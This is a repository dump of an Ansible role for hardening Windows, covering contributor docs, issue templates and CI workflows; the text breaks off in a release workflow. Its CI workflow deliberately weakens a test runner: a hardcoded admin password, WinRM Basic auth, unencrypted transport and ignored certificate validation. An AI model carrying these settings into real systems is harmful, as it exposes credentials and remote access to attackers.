├── .ansible-lint ├── .codespellignore ├── .github ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── ISSUE_TEMPLATE │ ├── Bug_report.yml │ ├── Feature_request.yml │ ├── Report_security_issue.yml │ └── config.yml ├── PULL_REQUEST_TEMPLATE.md ├── dependabot.yml ├── stale.yml └── workflows │ ├── default.yml │ ├── galaxy-release.yml │ ├── lint.yml │ └── stale.yml ├── .gitignore ├── .kitchen.vagrant.yml ├── .kitchen.yml ├── .pre-commit-config.yaml ├── .yamllint ├── CHANGELOG.md ├── LICENSE ├── README-references.md ├── README.md ├── SECURITY.md ├── appveyor.yml ├── defaults └── main.yml ├── files ├── mount.ps1 ├── test-logging.bat └── win10-debloat.ps1 ├── get-dependencies.sh ├── handlers └── main.yml ├── meta └── main.yml ├── packer ├── Autounattend.xml ├── ansible.cfg ├── azure-windows_server_2016.json ├── azure-windows_server_2019.json ├── client.yml ├── connection_plugins │ └── packer.py ├── end-cleaning.bat ├── jumpbox.yml ├── oracle-cert.cer ├── playbook-azure.yml ├── vagrantfile-windows_2016.template ├── vagrantfile-windows_2019.template ├── vm-guest-tools.bat ├── windows_server_2016.json └── windows_server_2019.json ├── tasks ├── adobereader.yml ├── dc-krgtbt-reset.yml ├── dc-ldap-signing.yml ├── extras.yml ├── forcing-afterhours-user-logoffs.yml ├── join-domain.yml ├── main.yml ├── mbrfilter.yml ├── palantir-AutorunsToWinEventLog.yml ├── passwd-filters.yml ├── process-mitigation.yml ├── testing-defender.yml ├── testing-densityscout.yml ├── testing-domain.yml ├── testing-iad.yml ├── testing-intelme.yml ├── testing-mimikatz.yml ├── testing-opf.yml ├── testing-speculative.yml ├── testing-uac.yml ├── testing.yml ├── windows-acl.yml ├── windows-adminshares.yml ├── windows-antiransomware.yml ├── windows-asr.yml ├── windows-certificates.yml ├── windows-cortana.yml ├── windows-credentialguard.yml ├── windows-defender.yml ├── windows-deviceguard.yml ├── windows-dirs.yml ├── windows-disallowrun.yml ├── windows-dma.yml ├── windows-dnscrypt.yml ├── windows-error-reporting.yml ├── windows-feature.yml ├── windows-filescreening.yml ├── windows-flash.yml ├── windows-ie.yml ├── windows-ipv6.yml ├── windows-laps.yml ├── windows-local-gpo.yml ├── windows-mimikatz.yml ├── windows-msdt.yml ├── windows-netcease.yml ├── windows-nxlog.yml ├── windows-online.yml ├── windows-paging.yml ├── windows-rdp-restricted.yml ├── windows-rdp.yml ├── windows-registry-hkcu.yml ├── windows-registry.yml ├── windows-samri.yml ├── windows-smb.yml ├── windows-sticky-keys.yml ├── windows-taskmanager.yml ├── windows-taskscheduler.yml ├── windows-usb.yml ├── windows-vss.yml ├── windows-wef.yml ├── windows-wmi-monitor.yml ├── windows-wmi.yml ├── windows-wsh.yml ├── windows-wsus.yml ├── windows.yml ├── windows10.yml └── wpad-disable.yml ├── templates ├── Remove-TrustedRootCA.ps1.j2 ├── WEF-Subscription.xml.j2 ├── deviceguard-deny-cipolicy.xml.j2 ├── directory_prompt.reg.j2 ├── directory_prompt_git.reg.j2 ├── iad-audit-policies.ps1.j2 ├── mms.cfg.j2 ├── run-no-uac.reg.j2 ├── win7-computer-security.inf └── workstation.inf ├── test ├── appveyor │ ├── WinrmAppveyor.psm1 │ ├── ansible.cfg │ └── inventory ├── inspec │ ├── controls │ │ └── tests.rb │ ├── inspec.yml │ └── profile-attributes-Windows.yml ├── integration │ ├── ansible │ │ ├── ansiblespec │ │ │ └── Gemfile │ │ └── default.yml │ ├── default-HEAD │ │ ├── connection_plugins │ │ │ └── packer.py │ │ ├── default.yml │ │ └── serverspec │ │ │ ├── Gemfile │ │ │ ├── Rakefile │ │ │ └── hardenwindows_spec.rb │ ├── default │ │ ├── connection_plugins │ │ │ └── packer.py │ │ ├── default.yml │ │ └── serverspec │ │ │ ├── Gemfile │ │ │ ├── Rakefile │ │ │ └── hardenwindows_spec.rb │ └── full │ │ ├── connection_plugins │ │ └── packer.py │ │ ├── default.yml │ │ └── serverspec │ │ ├── Gemfile │ │ ├── Rakefile │ │ └── hardenwindows_spec.rb └── vagrant │ ├── ConfigureRemotingForAnsible.ps1 │ ├── SetNetworkCategory.ps1 │ ├── Vagrantfile │ ├── ad-dc.yml │ ├── ansible.cfg │ └── site.yml └── vars ├── appveyor.yml ├── de-DE.yml ├── en-EN.yml └── vagrant.yml /.ansible-lint: -------------------------------------------------------------------------------- 1 | --- 2 | exclude_paths: 3 | - .cache/ # implicit unless exclude_paths is defined in config 4 | - .github/ 5 | - .kitchen* 6 | - test/inspec/ 7 | - appveyor.yml 8 | warn_list: 9 | - experimental 10 | skip_list: 11 | - var-naming 12 | -------------------------------------------------------------------------------- /.codespellignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juju4/ansible-harden-windows/af69bc755ac13b903dd8855bf635ba555114d536/.codespellignore -------------------------------------------------------------------------------- /.github/CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socioeconomic status, 9 | nationality, personal appearance, race, caste, color, religion, or sexual 10 | identity and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the overall 26 | community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or advances of 31 | any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email address, 35 | without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement in github 63 | discussions tagging project owners. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series of 86 | actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or permanent 93 | ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within the 113 | community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.1, available at 119 | [https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. 120 | 121 | Community Impact Guidelines were inspired by 122 | [Mozilla's code of conduct enforcement ladder][Mozilla CoC]. 123 | 124 | For answers to common questions about this code of conduct, see the FAQ at 125 | [https://www.contributor-covenant.org/faq][FAQ]. Translations are available at 126 | [https://www.contributor-covenant.org/translations][translations]. 127 | 128 | [homepage]: https://www.contributor-covenant.org 129 | [v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html 130 | [Mozilla CoC]: https://github.com/mozilla/diversity 131 | [FAQ]: https://www.contributor-covenant.org/faq 132 | [translations]: https://www.contributor-covenant.org/translations 133 | -------------------------------------------------------------------------------- /.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Welcome to this project contributing guide 2 | 3 | Thank you for investing your time in contributing to our project! 4 | 5 | In this guide you will get an overview of the code of conduct, license, coding style and the contribution workflow from opening an issue, creating a PR, reviewing, and merging the PR. 6 | 7 | Following these guidelines helps to communicate that you respect the time of the developers managing and developing this open source project. In return, they should reciprocate that respect in addressing your issue, assessing changes, and helping you finalize your pull requests. 8 | 9 | ## New contributor guide 10 | 11 | To get an overview of the project, read the [README](README.md). 12 | 13 | ### Code of Conduct 14 | 15 | Read our [Code of Conduct](./.github/CODE_OF_CONDUCT.md) to keep our community approachable and respectable. 16 | 17 | ### Security 18 | 19 | Read our [SECURITY.md](./SECURITY.md) about our security policy and how to report security issue. 20 | 21 | ### Any contributions you make will be under the same license than the project 22 | 23 | In short, when you submit code changes, your submissions are understood to be under the same [License](./LICENSE.md) that covers the project. Feel free to contact the maintainers if that's a concern. 24 | 25 | ### Use a Consistent Coding Style 26 | 27 | * Use lint tools 28 | * Use pre-commit 29 | * Semantic 30 | * This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 31 | * This project adheres to [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) since Nov 2023. 32 | * Feel free to suggest additional improvements 33 | 34 | ## Getting started 35 | 36 | ### Issues 37 | 38 | #### Create a new issue 39 | 40 | If you spot a problem with the docs, [search if an issue already exists](https://docs.github.com/en/github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests#search-by-the-title-body-or-comments). If a related issue doesn't exist, you can open a new issue. 41 | 42 | #### Solve an issue 43 | 44 | Scan through our existing issues to find one that interests you. You can narrow down the search using `labels` as filters. If you find an issue to work on, you are welcome to open a PR with a fix. 45 | 46 | ### Pull Request 47 | 48 | When you're finished with the changes, create a pull request, also known as a PR. 49 | - Fill the "Ready for review" template so that we can review your PR. This template helps reviewers understand your changes as well as the purpose of your pull request. 50 | - Don't forget to [link PR to issue](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) if you are solving one. 51 | - Enable the checkbox to [allow maintainer edits](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork) so the branch can be updated for a merge. 52 | Once you submit your PR, a Docs team member will review your proposal. We may ask questions or request additional information. 53 | - We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. 54 | - As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). 55 | - If you run into any merge issues, checkout this [git tutorial](https://github.com/skills/resolve-merge-conflicts) to help you resolve merge conflicts and other issues. 56 | 57 | ### Your PR is merged! 58 | 59 | Congratulations :tada::tada: 60 | Thanks a lot for your work and contributing to the community :sparkles:. 61 | 62 | 63 | 64 | 71 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/Bug_report.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | description: You're having technical issues 4 | title: "Bug: " 5 | labels: ["bug", "triage needed"] 6 | body: 7 | - type: markdown 8 | attributes: 9 | value: | 10 | Thanks for taking the time to report this issue. 11 | 12 | Few Troubleshooting resources to help 13 | * [Tech Support Cheat Sheet, xkcd](https://xkcd.com/627/) 14 | * [Software Problem Solving Cheat Sheet, nextron-systems](https://www.nextron-systems.com/2018/06/10/software-problem-solving-cheat-sheet/) 15 | - type: textarea 16 | id: prerequisites 17 | attributes: 18 | label: Prerequisites 19 | value: | 20 | 21 | 22 | - [ ] Ensure no duplicate issue 23 | - [ ] Using an up-to-date latest release or tag 24 | - [ ] Tested an up-to-date latest HEAD 25 | - [ ] Collected play logs on verbose mode aka `ansible-playbook -vvv playbook.yml`. Redact any sensitive information. 26 | - [ ] Ensuring using latest stable underlying software (ansible, operating systems...) 27 | validations: 28 | required: true 29 | - type: textarea 30 | id: environment 31 | attributes: 32 | label: Your Environment 33 | value: | 34 | 35 | * Version used: 36 | * Server type and version: 37 | * Operating System and version: 38 | * Link to your project: 39 | validations: 40 | required: true 41 | - type: textarea 42 | id: expected-behavior 43 | attributes: 44 | label: Expected behavior 45 | validations: 46 | required: true 47 | - type: textarea 48 | id: actual-behavior 49 | attributes: 50 | label: Actual behavior 51 | validations: 52 | required: true 53 | - type: textarea 54 | id: steps-to-reproduce 55 | attributes: 56 | label: Steps to reproduce 57 | description: Please be as thorough as possible. 58 | validations: 59 | required: true 60 | - type: textarea 61 | id: solution 62 | attributes: 63 | label: Possible Solution (Not obligatory) 64 | description: Suggest a reason for the bug or how to fix it. 65 | validations: 66 | required: false 67 | - type: textarea 68 | id: context 69 | attributes: 70 | label: More context 71 | description: Suggest a reason for the bug or how to fix it. 72 | value: | 73 | 74 | 75 | 76 | validations: 77 | required: false 78 | - type: textarea 79 | id: logs 80 | attributes: 81 | label: Relevant log output 82 | description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks. 83 | render: shell 84 | - type: textarea 85 | id: extra-attachments 86 | attributes: 87 | label: Extra attachments 88 | description: Please add any other relevant attachments such as screenshots, log files, etc. here. 89 | - type: checkboxes 90 | id: terms 91 | attributes: 92 | label: Code of Conduct 93 | description: By submitting this issue, you agree to follow our [Code of Conduct](https://www.contributor-covenant.org/version/2/1/code_of_conduct.html) 94 | options: 95 | - label: I agree to follow this project's Code of Conduct 96 | required: true 97 | # 98 | # https://docs.github.com/en/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository 99 | # https://github.com/stevemao/github-issue-templates/blob/master/bugs-only/ISSUE_TEMPLATE.md 100 | # https://www.talater.com/open-source-templates/#/page/1 101 | # https://github.com/MISP/MISP/tree/2.4/.github/ISSUE_TEMPLATE 102 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/Feature_request.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | description: You're having an idea to improve this project 4 | title: "Feature request: " 5 | labels: ["feature request", "triage needed"] 6 | body: 7 | - type: markdown 8 | attributes: 9 | value: | 10 | Thanks for taking the time to share your idea. 11 | - type: textarea 12 | id: description 13 | attributes: 14 | label: Detailed Description 15 | description: Provide a detailed description of the change or addition you are proposing. 16 | validations: 17 | required: true 18 | - type: textarea 19 | id: context 20 | attributes: 21 | label: More context 22 | description: Suggest a reason for the bug or how to fix it. 23 | value: | 24 | 25 | 26 | validations: 27 | required: false 28 | - type: textarea 29 | id: implementation 30 | attributes: 31 | label: Possible Implementation 32 | description: Not obligatory, but suggest an idea for implementing addition or change. 33 | validations: 34 | required: false 35 | - type: textarea 36 | id: alternatives 37 | attributes: 38 | label: Describe alternatives you've considered 39 | placeholder: A clear and concise description of any alternative solutions or features you've considered. 40 | - type: checkboxes 41 | id: terms 42 | attributes: 43 | label: Code of Conduct 44 | description: By submitting this issue, you agree to follow our [Code of Conduct](https://www.contributor-covenant.org/version/2/1/code_of_conduct.html) 45 | options: 46 | - label: I agree to follow this project's Code of Conduct 47 | required: true 48 | # 49 | # https://docs.github.com/en/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository 50 | # https://github.com/stevemao/github-issue-templates/blob/master/bugs-only/ISSUE_TEMPLATE.md 51 | # https://www.talater.com/open-source-templates/#/page/98 52 | # https://github.com/MISP/MISP/tree/2.4/.github/ISSUE_TEMPLATE 53 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/Report_security_issue.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Report a security issue 3 | description: You found a security issue 4 | title: "Security: " 5 | labels: ["security", "triage needed"] 6 | body: 7 | - type: markdown 8 | attributes: 9 | value: | 10 | Thanks for taking the time to report this issue. If issue is sensitive, please use web form or GitHub private vulnerability reporting as per SECURITY.md. 11 | - type: input 12 | id: contact 13 | attributes: 14 | label: Contact Details 15 | description: How can we get in touch with you if we need more info? 16 | placeholder: ex. email@example.com 17 | validations: 18 | required: false 19 | - type: input 20 | id: affected 21 | attributes: 22 | label: Affected version(s) 23 | description: Commit, tag or release affected 24 | validations: 25 | required: false 26 | - type: textarea 27 | id: findings 28 | attributes: 29 | label: What did you found? 30 | description: Precise and detailed steps (include screenshots) that created the problem 31 | placeholder: Tell us what you see! 32 | value: "pop!" 33 | validations: 34 | required: true 35 | - type: dropdown 36 | id: securitytype 37 | attributes: 38 | label: Type 39 | description: What kind of security issue did you find? 40 | options: 41 | - Security Incident 42 | - Vulnerability 43 | - Other 44 | validations: 45 | required: true 46 | - type: textarea 47 | id: reproduce 48 | attributes: 49 | label: How to reproduce issue? 50 | description: Step-by-step instructions to reproduce the issue, eventually with Proof-of-concept or exploit code. 51 | - type: textarea 52 | id: logs 53 | attributes: 54 | label: Relevant log(s) output 55 | description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks. 56 | render: shell 57 | - type: textarea 58 | id: mitigations 59 | attributes: 60 | label: Mitigations or workarounds. 61 | description: Any condition(s) that limit impact of the issue? 62 | - type: textarea 63 | id: known 64 | attributes: 65 | label: Is issue public? exploited in the wild? 66 | description: Whether this vulnerability is public or known to third parties. If it is, please provide details. 67 | - type: checkboxes 68 | id: terms 69 | attributes: 70 | label: Code of Conduct 71 | description: By submitting this issue, you agree to follow our [Code of Conduct](https://www.contributor-covenant.org/version/2/1/code_of_conduct.html) 72 | options: 73 | - label: I agree to follow this project's Code of Conduct 74 | required: true 75 | # https://github.com/github/securitylab/blob/main/docs/report-template.md 76 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://docs.github.com/en/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#configuring-the-template-chooser 3 | blank_issues_enabled: true 4 | contact_links: 5 | - name: Discussions 6 | url: https://github.com/juju4/ansible-adduser/discussions 7 | about: Please ask and answer questions here. 8 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Description 4 | 5 | 6 | ## Motivation and Context 7 | 8 | 9 | 10 | ## How Has This Been Tested? 11 | 12 | 13 | 14 | 15 | ## Screenshots (if appropriate): 16 | 17 | ## Types of changes 18 | 19 | - [ ] Bug fix (non-breaking change which fixes an issue) 20 | - [ ] New feature (non-breaking change which adds functionality) 21 | - [ ] Breaking change (fix or feature that would cause existing functionality to change) 22 | 23 | ## Checklist: 24 | 25 | 26 | - [ ] My code follows the code style of this project. 27 | - [ ] My change requires a change to the documentation. 28 | - [ ] I have updated the documentation accordingly. 29 | - [ ] I have read the **CONTRIBUTING** document. 30 | - [ ] I have added tests to cover my changes. 31 | - [ ] All new and existing tests passed including pre-commit and github actions. 32 | - [ ] Used in production. 33 | 34 | 37 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://docs.github.com/en/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot 3 | # Set update schedule for GitHub Actions 4 | 5 | version: 2 6 | updates: 7 | 8 | - package-ecosystem: "github-actions" 9 | directory: "/" 10 | schedule: 11 | # Check for updates to GitHub Actions every week 12 | interval: "weekly" 13 | -------------------------------------------------------------------------------- /.github/stale.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Configuration for probot-stale - https://github.com/probot/stale 3 | 4 | # Number of days of inactivity before an Issue or Pull Request becomes stale 5 | daysUntilStale: 60 6 | 7 | # Number of days of inactivity before an Issue or Pull Request with the stale label is closed. 8 | # Set to false to disable. If disabled, issues still need to be closed manually, but will remain marked as stale. 9 | daysUntilClose: 30 10 | 11 | # Only issues or pull requests with all of these labels are check if stale. Defaults to `[]` (disabled) 12 | onlyLabels: [] 13 | 14 | # Issues or Pull Requests with these labels will never be considered stale. Set to `[]` to disable 15 | exemptLabels: 16 | - pinned 17 | - security 18 | - "[Status] Maybe Later" 19 | 20 | # Set to true to ignore issues in a project (defaults to false) 21 | exemptProjects: false 22 | 23 | # Set to true to ignore issues in a milestone (defaults to false) 24 | exemptMilestones: false 25 | 26 | # Set to true to ignore issues with an assignee (defaults to false) 27 | exemptAssignees: false 28 | 29 | # Label to use when marking as stale 30 | staleLabel: wontfix 31 | 32 | # Comment to post when marking as stale. Set to `false` to disable 33 | markComment: > 34 | This issue has been automatically marked as stale because it has not had 35 | recent activity. It will be closed if no further activity occurs. Thank you 36 | for your contributions. 37 | 38 | # Comment to post when removing the stale label. 39 | # unmarkComment: > 40 | # Your comment here. 41 | 42 | # Comment to post when closing a stale Issue or Pull Request. 43 | # closeComment: > 44 | # Your comment here. 45 | 46 | # Limit the number of actions per hour, from 1-30. Default is 30 47 | limitPerRun: 30 48 | 49 | # Limit to only `issues` or `pulls` 50 | # only: issues 51 | 52 | # Optionally, specify configuration settings that are specific to just 'issues' or 'pulls': 53 | # pulls: 54 | # daysUntilStale: 30 55 | # markComment: > 56 | # This pull request has been automatically marked as stale because it has not had 57 | # recent activity. It will be closed if no further activity occurs. Thank you 58 | # for your contributions. 59 | 60 | # issues: 61 | # exemptLabels: 62 | # - confirmed 63 | -------------------------------------------------------------------------------- /.github/workflows/default.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: default-win 3 | 4 | on: 5 | push: 6 | pull_request: 7 | # schedule: # run weekly, every Tuesday 04:00 8 | # - cron: '0 4 * * 2' 9 | 10 | defaults: 11 | run: 12 | shell: wsl-bash {0} 13 | 14 | jobs: 15 | build: 16 | 17 | runs-on: windows-2022 18 | continue-on-error: true 19 | strategy: 20 | fail-fast: false 21 | max-parallel: 4 22 | env: 23 | ANSIBLE_CALLBACKS_ENABLED: profile_tasks 24 | winrm_user: winrm_test_user 25 | winrm_password: WinRM_test_Pass@w0rd1 26 | user_cert: c:\ansible-harden-windows\user.pem 27 | user_key: c:\ansible-harden-windows\key.pem 28 | user_pfx: c:\ansible-harden-windows\user.pfx 29 | 30 | steps: 31 | - uses: actions/checkout@v4 32 | with: 33 | path: juju4.harden_windows 34 | - name: Setup Winrm 35 | run: | 36 | $ErrorActionPreference = 'SilentlyContinue' 37 | net user /Y /add $env:winrm_user $env:winrm_password 38 | net localgroup administrators $env:winrm_user /add 39 | winrm set winrm/config/client/auth '@{Basic="true"}' 40 | winrm set winrm/config/service/auth '@{Basic="true"}' 41 | winrm set winrm/config/service/auth '@{Certificate="true"}' 42 | winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}' 43 | winrm set winrm/config/service '@{AllowUnencrypted="true"}' 44 | New-WinrmUserCertificateMapping $env:user_cert_thumb 45 | Write-Host $env:PATH 46 | ($pwd).path 47 | echo "localhost ansible_user=$env:winrm_user ansible_password=$env:winrm_password ansible_connection=winrm ansible_winrm_server_cert_validation=ignore" | Out-File -FilePath juju4.harden_windows\inventory 48 | Get-ChildItem -Path c:\ 49 | shell: pwsh 50 | - name: Check winrm config 51 | run: | 52 | dir WSMan:\localhost\Client 53 | dir WSMan:\localhost\Service 54 | winrm enumerate winrm/config/listener 55 | winrm get http://schemas.microsoft.com/wbem/wsman/1/config 56 | Get-ChildItem wsman:\localhost\Listener 57 | shell: pwsh 58 | # Caution: The LocalAccountTokenFilterPolicy entry disables user account control (UAC) remote restrictions for all users of all affected computers. Consider the implications of this setting carefully before changing the policy” 59 | # http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/ 60 | - name: Check LocalAccountTokenFilterPolicy 61 | run: | 62 | Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" 63 | shell: pwsh 64 | - name: Test winrm 65 | run: | 66 | Test-WSMan 67 | winrm identify -r:http://localhost:5985 -auth:basic -u:$env:winrm_user -p:$env:winrm_password -encoding:utf-8 68 | winrm identify -r:https://localhost:5986 -auth:basic -u:$env:winrm_user -p:$env:winrm_password -encoding:utf-8 69 | shell: pwsh 70 | continue-on-error: true 71 | - uses: Vampire/setup-wsl@v5 72 | with: 73 | distribution: Ubuntu-24.04 74 | additional-packages: 75 | python3 76 | python3-pip 77 | python3-dev 78 | python3-venv 79 | git 80 | libffi-dev 81 | libssl-dev 82 | - name: Set up Python 83 | uses: actions/setup-python@v5 84 | with: 85 | python-version: '3.x' 86 | - name: Install dependencies 87 | run: | 88 | set -x 89 | python3 --version 90 | python3 -c "import ssl; print(ssl.OPENSSL_VERSION)" 91 | python3 -c 'import ssl; ssl.PROTOCOL_TLSv1_2' 92 | python3 -m venv venv-ansible 93 | . venv-ansible/bin/activate 94 | pip install --upgrade pip 95 | pip install pywinrm 96 | pip install ansible-lint flake8 yamllint ansible 97 | ansible --version 98 | cat juju4.harden_windows/inventory 99 | - name: Environment 100 | run: | 101 | set -x 102 | uname -a 103 | pwd 104 | env 105 | find . -ls 106 | ls / 107 | ls /mnt 108 | - name: Install play dependencies 109 | run: | 110 | set -x 111 | mkdir -p /etc/ansible/roles 112 | cp -R /mnt/d/a/ansible-harden-windows/ansible-harden-windows/juju4.harden_windows /etc/ansible/roles/juju4.harden_windows 113 | cd juju4.harden_windows 114 | # [ -f get-dependencies.sh ] && sh -x get-dependencies.sh 115 | { echo '[defaults]'; echo 'callbacks_enabled = profile_tasks, timer'; echo 'roles_path = ../'; echo 'ansible_python_interpreter: /usr/bin/python3'; } >> ansible.cfg 116 | cat ansible.cfg 117 | - name: Ansible win_ping 118 | run: | 119 | set -x 120 | . venv-ansible/bin/activate 121 | cd juju4.harden_windows 122 | ansible -i inventory -m win_ping -vvv localhost 123 | continue-on-error: true 124 | - name: Set inventory for winrm http 125 | run: | 126 | echo "localhost ansible_user=$env:winrm_user ansible_password=$env:winrm_password ansible_connection=winrm ansible_winrm_scheme=http" | Out-File -FilePath juju4.harden_windows\inventory 127 | Set-Item -Path WSMan:\localhost\Service\AllowUnencrypted -Value $true 128 | shell: pwsh 129 | - name: Ansible win_ping http 130 | run: | 131 | set -x 132 | . venv-ansible/bin/activate 133 | cd juju4.harden_windows 134 | ansible -i inventory -m win_ping -vvv localhost 135 | - name: run test 136 | run: | 137 | set -x 138 | . venv-ansible/bin/activate 139 | cd juju4.harden_windows && ansible-playbook -i inventory -vvv test/integration/default/default.yml 140 | env: 141 | PY_COLORS: '1' 142 | ANSIBLE_FORCE_COLOR: '1' 143 | - name: idempotency run 144 | run: | 145 | set -x 146 | . venv-ansible/bin/activate 147 | cd juju4.harden_windows && ansible-playbook -i inventory -vvv test/integration/default/default.yml | tee /tmp/idempotency.log | grep -q 'changed=0.*failed=0' && (echo 'Idempotence test: pass' && exit 0) || (echo 'Idempotence test: fail' && cat /tmp/idempotency.log && exit 0) 148 | continue-on-error: true 149 | - name: After script 150 | run: | 151 | Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta" -Recurse 152 | Get-PSDrive -PSProvider Registry 153 | New-PSDrive -Name HKCR -PSProvider Registry -Root Registry::HKEY_CLASSES_ROOT 154 | Get-ChildItem -Path "HKCR:\htafile\shell\open\command" -Recurse 155 | Get-Content -Path C:\windows\Logs\CBS\CBS.log 156 | Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 157 | New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS 158 | Get-ChildItem -Path "HKU:\*\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta" -Recurse 159 | Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server" 160 | shell: pwsh 161 | continue-on-error: true 162 | -------------------------------------------------------------------------------- /.github/workflows/galaxy-release.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Galaxy-NG Roles Import 3 | 4 | on: 5 | release: 6 | types: [created, edited, published, released] 7 | push: 8 | tags: 9 | - '*' 10 | 11 | permissions: {} 12 | 13 | jobs: 14 | build: 15 | name: Galaxy Role Importer 16 | runs-on: ubuntu-latest 17 | 18 | steps: 19 | - name: 'Checkout git repo' 20 | uses: actions/checkout@v4 21 | with: 22 | submodules: true 23 | fetch-depth: 0 24 | 25 